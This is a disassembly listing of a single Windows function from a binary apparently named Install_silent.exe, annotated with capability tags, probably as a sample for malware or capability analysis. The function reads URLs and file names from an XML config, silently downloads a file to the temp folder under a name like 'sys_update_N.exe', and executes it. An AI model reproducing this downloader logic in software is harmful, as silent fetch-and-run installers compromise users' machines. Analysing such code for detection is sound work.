Function at 0x4978e0
Capabilities:
Create process on windows
Download url
Get common file path
Receive data

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x4ab711
mov eax, dword fs:[0]
push eax
mov eax, 0x1230
call fcn.00430e90
mov eax, dword [0x4e3074]
xor eax, ebp
mov dword [ebp - 0x10], eax
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 0x121c], ecx
push str.Setup
mov ecx, dword [ebp - 0x121c]
add ecx, 0x45c
call sym.Install_silent.exe_public:_int___thiscall_CNsXml::GetXmlNodeCount_wchar_t_const__
mov dword [ebp - 0x1238], eax
mov dword [ebp - 0x1220], 0x1000
lea ecx, [ebp - 0x1224]
call fcn.00405120
mov dword [ebp - 4], 0
lea eax, [ebp - 0x1218]
push eax
push 0x104
call dword [sym.imp.KERNEL32.dll_GetTempPathW]
mov dword [ebp - 0x1228], 0
mov dword [ebp - 0x122c], 0
jmp 0x497984
mov ecx, dword [ebp - 0x122c]
add ecx, 1
mov dword [ebp - 0x122c], ecx
mov edx, dword [ebp - 0x122c]
cmp edx, dword [ebp - 0x1238]
jge 0x497c08
mov eax, dword [ebp - 0x1220]
push eax
push 0
lea ecx, [ebp - 0x1010]
push ecx
call fcn.00456880
add esp, 0xc
lea edx, [ebp - 0x1228]
push edx
lea eax, [ebp - 0x1010]
push eax
push str.CheckY
mov ecx, dword [ebp - 0x121c]
add ecx, 0x45c
call sym.Install_silent.exe_public:_int___thiscall_CNsXml::GetXmlNodeValue_wchar_t_const___wchar_t___int__
lea ecx, [ebp - 0x1010]
push ecx
call sym.Install_silent.exe_int___cdecl_CheckInstalled_wchar_t_const__
add esp, 4
test eax, eax
je 0x4979e7
jmp 0x497975
mov edx, dword [ebp - 0x1220]
push edx
push 0
lea eax, [ebp - 0x1010]
push eax
call fcn.00456880
add esp, 0xc
lea ecx, [ebp - 0x1228]
push ecx
lea edx, [ebp - 0x1010]
push edx
push str.CheckN
mov ecx, dword [ebp - 0x121c]
add ecx, 0x45c
call sym.Install_silent.exe_public:_int___thiscall_CNsXml::GetXmlNodeValue_wchar_t_const___wchar_t___int__
lea eax, [ebp - 0x1010]
push eax
call sym.Install_silent.exe_int___cdecl_CheckInstalled_wchar_t_const__
add esp, 4
test eax, eax
je 0x497a3b
jmp 0x497975
mov ecx, dword [ebp - 0x1220]
push ecx
push 0
lea edx, [ebp - 0x1010]
push edx
call fcn.00456880
add esp, 0xc
lea eax, [ebp - 0x1228]
push eax
lea ecx, [ebp - 0x1010]
push ecx
push str.WebPath
mov ecx, dword [ebp - 0x121c]
add ecx, 0x45c
call sym.Install_silent.exe_public:_int___thiscall_CNsXml::GetXmlNodeValue_wchar_t_const___wchar_t___int__
lea edx, [ebp - 0x1010]
push edx
lea ecx, [ebp - 0x1230]
call fcn.00405080
mov byte [ebp - 4], 1
mov eax, dword [ebp - 0x1220]
push eax
push 0
lea ecx, [ebp - 0x1010]
push ecx
call fcn.00456880
add esp, 0xc
lea edx, [ebp - 0x1228]
push edx
lea eax, [ebp - 0x1010]
push eax
push str.SaveName
mov ecx, dword [ebp - 0x121c]
add ecx, 0x45c
call sym.Install_silent.exe_public:_int___thiscall_CNsXml::GetXmlNodeValue_wchar_t_const___wchar_t___int__
lea ecx, [ebp - 0x1010]
push ecx
call dword [sym.imp.KERNEL32.dll_lstrlenW]
test eax, eax
jle 0x497afe
lea edx, [ebp - 0x1010]
push edx
lea eax, [ebp - 0x1218]
push eax
push 0x4c8d1c
lea ecx, [ebp - 0x1224]
push ecx
call fcn.00405800
add esp, 0x10
jmp 0x497b20
mov edx, dword [ebp - 0x122c]
push edx
lea eax, [ebp - 0x1218]
push eax
push str._s_sys_update__d.exe
lea ecx, [ebp - 0x1224]
push ecx
call fcn.00405800
add esp, 0x10
push 0x4c8d54
push 0x4c8d58
lea ecx, [ebp - 0x1224]
call fcn.00409a70
push 0
push 0
lea ecx, [ebp - 0x1224]
call sym.Install_silent.exe_public:_char_const____thiscall_Json::StaticString::operator_char_const__void_const
push eax
lea ecx, [ebp - 0x1230]
call sym.Install_silent.exe_public:_char_const____thiscall_Json::StaticString::operator_char_const__void_const
push eax
push 0
call dword [sym.imp.urlmon.dll_URLDownloadToFileW]
mov dword [ebp - 0x123c], eax
cmp dword [ebp - 0x123c], 0
jne 0x497bf4
mov edx, dword [ebp - 0x1220]
push edx
push 0
lea eax, [ebp - 0x1010]
push eax
call fcn.00456880
add esp, 0xc
lea ecx, [ebp - 0x1228]
push ecx
lea edx, [ebp - 0x1010]
push edx
push str.Params
mov ecx, dword [ebp - 0x121c]
add ecx, 0x45c
call sym.Install_silent.exe_public:_int___thiscall_CNsXml::GetXmlNodeValue_wchar_t_const___wchar_t___int__
lea eax, [ebp - 0x1010]
push eax
call dword [sym.imp.KERNEL32.dll_lstrlenW]
test eax, eax
jle 0x497bda
push 5
push 0
lea ecx, [ebp - 0x1010]
push ecx
lea ecx, [ebp - 0x1224]
call sym.Install_silent.exe_public:_char_const____thiscall_Json::StaticString::operator_char_const__void_const
push eax
call sym.Install_silent.exe_int___cdecl_DoRun_wchar_t_const___wchar_t_const___int__int_
add esp, 0x10
jmp 0x497bf4
push 5
push 0
push 0
lea ecx, [ebp - 0x1224]
call sym.Install_silent.exe_public:_char_const____thiscall_Json::StaticString::operator_char_const__void_const
push eax
call sym.Install_silent.exe_int___cdecl_DoRun_wchar_t_const___wchar_t_const___int__int_
add esp, 0x10
mov byte [ebp - 4], 0
lea ecx, [ebp - 0x1230]
call fcn.00405060
jmp 0x497975
mov edx, dword [ebp - 0x1220]
push edx
push 0
lea eax, [ebp - 0x1010]
push eax
call fcn.00456880
add esp, 0xc
lea ecx, [ebp - 0x1010]
push ecx
push str.showmsg
mov ecx, dword [ebp - 0x121c]
add ecx, 0x45c
call sym.Install_silent.exe_public:_int___thiscall_CNsXml::GetXmlNodeValue_wchar_t_const___wchar_t__
lea edx, [ebp - 0x1010]
push edx
call dword [sym.imp.KERNEL32.dll_lstrlenW]
test eax, eax
jle 0x497cc5
lea eax, [ebp - 0x1010]
push eax
lea ecx, [ebp - 0x1234]
call fcn.00405080
mov byte [ebp - 4], 2
mov ecx, dword [ebp - 0x1220]
push ecx
push 0
lea edx, [ebp - 0x1010]
push edx
call fcn.00456880
add esp, 0xc
lea eax, [ebp - 0x1010]
push eax
push str.showtitle
mov ecx, dword [ebp - 0x121c]
add ecx, 0x45c
call sym.Install_silent.exe_public:_int___thiscall_CNsXml::GetXmlNodeValue_wchar_t_const___wchar_t__
push 0
lea ecx, [ebp - 0x1010]
push ecx
lea ecx, [ebp - 0x1234]
call sym.Install_silent.exe_public:_char_const____thiscall_Json::StaticString::operator_char_const__void_const
push eax
push 0
call dword [sym.imp.USER32.dll_MessageBoxW]
mov byte [ebp - 4], 0
lea ecx, [ebp - 0x1234]
call fcn.00405060
mov edx, dword [ebp - 0x1220]
push edx
push 0
lea eax, [ebp - 0x1010]
push eax
call fcn.00456880
add esp, 0xc
lea ecx, [ebp - 0x1010]
push ecx
push str.showurl
mov ecx, dword [ebp - 0x121c]
add ecx, 0x45c
call sym.Install_silent.exe_public:_int___thiscall_CNsXml::GetXmlNodeValue_wchar_t_const___wchar_t__
lea edx, [ebp - 0x1010]
push edx
call dword [sym.imp.KERNEL32.dll_lstrlenW]
test eax, eax
jle 0x497d25
push 5
push 0
push 0
lea eax, [ebp - 0x1010]
push eax
push 0x4c8da4
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteW]
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x1224]
call fcn.00405060
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.0042fc0d
mov esp, ebp
pop ebp
ret